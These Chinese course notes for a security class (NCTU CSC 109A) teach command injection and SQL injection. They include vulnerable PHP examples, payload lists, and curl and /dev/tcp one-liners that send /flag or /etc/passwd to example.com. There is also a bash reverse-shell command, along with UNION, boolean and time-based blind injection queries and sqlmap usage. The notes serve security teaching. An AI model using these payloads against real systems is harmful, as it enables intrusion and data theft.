# NCTU CSC 109A - Web II
[TOC]
## Injection
成因:程式將使用者輸入直接插入即將拿去執行的字串內,沒有過濾或過濾不周到。
## Command Injection
使用者可控制的字串被拿去插在「指令」裡面。
```php
<?php
$ip = @$_POST['ip'];
$cmd = "ping -c1 -t1 '$ip'";
system($cmd);
```
此時可以將 ip 填成 `127.0.0.1'; cat '/etc/passwd`,讓 `system()` 執行你的第二個指令。
### 檢測方法
```
;id
;id;
&&id||z:
;id #
&&id #
||id #
$(sleep 5)
'$(sleep 5)'
"$(sleep 5)"
...
```
空白繞過
```
${IFS}
%09
```
### 若指令結果不顯示怎麼辦
回傳資料的各種方式:
- 用自己的 server 接(你要有 public ip)
- curl + HTTP log
```bash
# example.com
sudo tail -f /var/log/apache2/access.log
# remote
curl "example.com?$(cat /flag)"
```
- curl + nc
```bash
# example.com
nc -lk 10000
# remote
curl example.com -d "$(cat /etc/passwd)"
```
- bash + nc
```bash
# example.com
nc -lk 9999
# remote
bash -c 'cat /flag > /dev/tcp/example.com/9999'
```
- 沒有 public ip
- 用 ngrok tunnel
- Reverse Shell
- `bash -c 'bash -i >& /dev/tcp/example.com/8989 0>&1'`
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
- requestbin
- http://requestbin.net/
- dnsbin
- http://requestbin.net/dns
## SQL Injection
使用者可控制的字串被拿去插在「SQL 語句裡面」裡面:
### 如何用 SQL 對資料庫作查詢
假設有個叫 `mysite` 的資料庫有一個資料表叫 `users`:
| id (int) | name (str) | password (str) | data (str) |
| -- | -- | -- | -- |
| 1 | admin | secret | hello world |
| 2 | user1 | user1 | hello kitty |
| ... | ... | ... | ... |
我可以用以下 SQL statement 確認是否要使用者登入:
```sql
SELECT id, data FROM `mysite`.`users` WHERE name = 'admin' AND password = 'secret';
```
如果 `name` 和 `password` 都符合就會回傳 `id=1, data="hello world"`,後端程式可以藉此判斷是否要給該使用者登入。
密碼要記得存 hash 不要存明文:
| id (int) | name (str) | <b style="color: red">password_hash (str)</b> | data (str) |
| -- | -- | -- | -- |
| 1 | admin | <b style="color: red">03f061054488882d1065409b3e3f3ff8</b> | hello world |
| 2 | user1 | <b style="color: red">eb4810a8cc14421bc59ebc371f0849a4</b> | hello kitty |
| ... | ... | ... | ... |
```php
<?php
$name = $_POST['name'];
$hash = md5('(@^_^@)' . $_POST['password'] . '(@^_^@)');
$sql = (
"SELECT name,data FROM users "
"WHERE name='$name' AND password='$hash'"
);
$db = new SQLite3('db.sqlite3');
$result = $db->query($sql)->fetcharray();
if ($result) {
$_SESSION['name'] = $result['name'];
$_SESSION['data'] = $result['data'];
// 登入成功
}
```
### 問題
此時程式直接將 `$_POST['name']` 塞入 SQL query,所以可以插入任意字串。
如以下去 POST 將可以登入為 admin:
```
name=' OR name = 'admin' -- &password=123
```
因為整句 SQL 被改成:
```sql
SELECT id,data FROM users WHERE name='' OR name = 'admin' -- ' AND password='8c5e708ca718cd1a8101fd3bf89b8eee'
```
所以 `$result` 會選到 admin 那個 row,最後會被登入成 admin。
### UNION SELECT
除了選到想要的 row 也可以將 id, data 改成我們想到的任意資料。
POST 以下 body 即可:
```
name=' UNION SELECT 'hello','world'; -- &password=123
```
SQL 被改成以下:
```sql
SELECT id,data FROM users WHERE name = ''
UNION SELECT 'hello','world'; -- ' AND password='8c5e708ca718cd1a8101fd3bf89b8eee'
```
此時資料庫會回傳 `name="hello" data="world"`。
注意 column 數要一樣多,不然會錯。
假設選出的 data 會顯示在網頁,我們可以把整個資料庫都挖出來:
```sql
SELECT id,data FROM users WHERE name = ''
UNION SELECT 'admin',group_concat(sql) FROM sqlite_master; -- ...
SELECT id,data FROM users WHERE name = ''
UNION SELECT 'admin',group_concat(col1 || '|' || col2 || '|' || col3)
FROM table1; -- ...
```
### Boolean-Based
如果 SQL query 結果沒有回傳怎麼辦?
如果你有辦法判斷有沒有選到 row(例如有選到和沒選到的網頁看起來不一樣),就可以用 boolean-base sql injection。
```
SELECT 1 FROM secret WHERE SUBSTR(flag, 1, 1) > 'a';
```
寫個程式不停做 request,進行二分搜就可以洗出 flag。
### Time-Based
如果 boolean based 的方法不能光看網頁得知條件是否成立,可以用「延遲」來判斷。如何做到延遲?
```
SELECT 1 WHERE (SUBSTR(flag, 1, 1) > 'a') OR 0 = RANDOMBLOB(1000000000);
```
如果 `SUBSTR(flag, 1, 1) > 'a'` 不成立,會延遲大約 2 秒。
### sqlmap
```
sqlmap -u http://example.com/?id=123 --random-agent
sqlmap -u http://example.com/?id=123 --random-agent --dbs
sqlmap -u http://example.com/?id=123 --random-agent --D db1 --tables
sqlmap -u http://example.com/?id=123 --random-agent --D db1 -T table1 --columns
sqlmap -u http://example.com/?id=123 --random-agent --sql-shell
```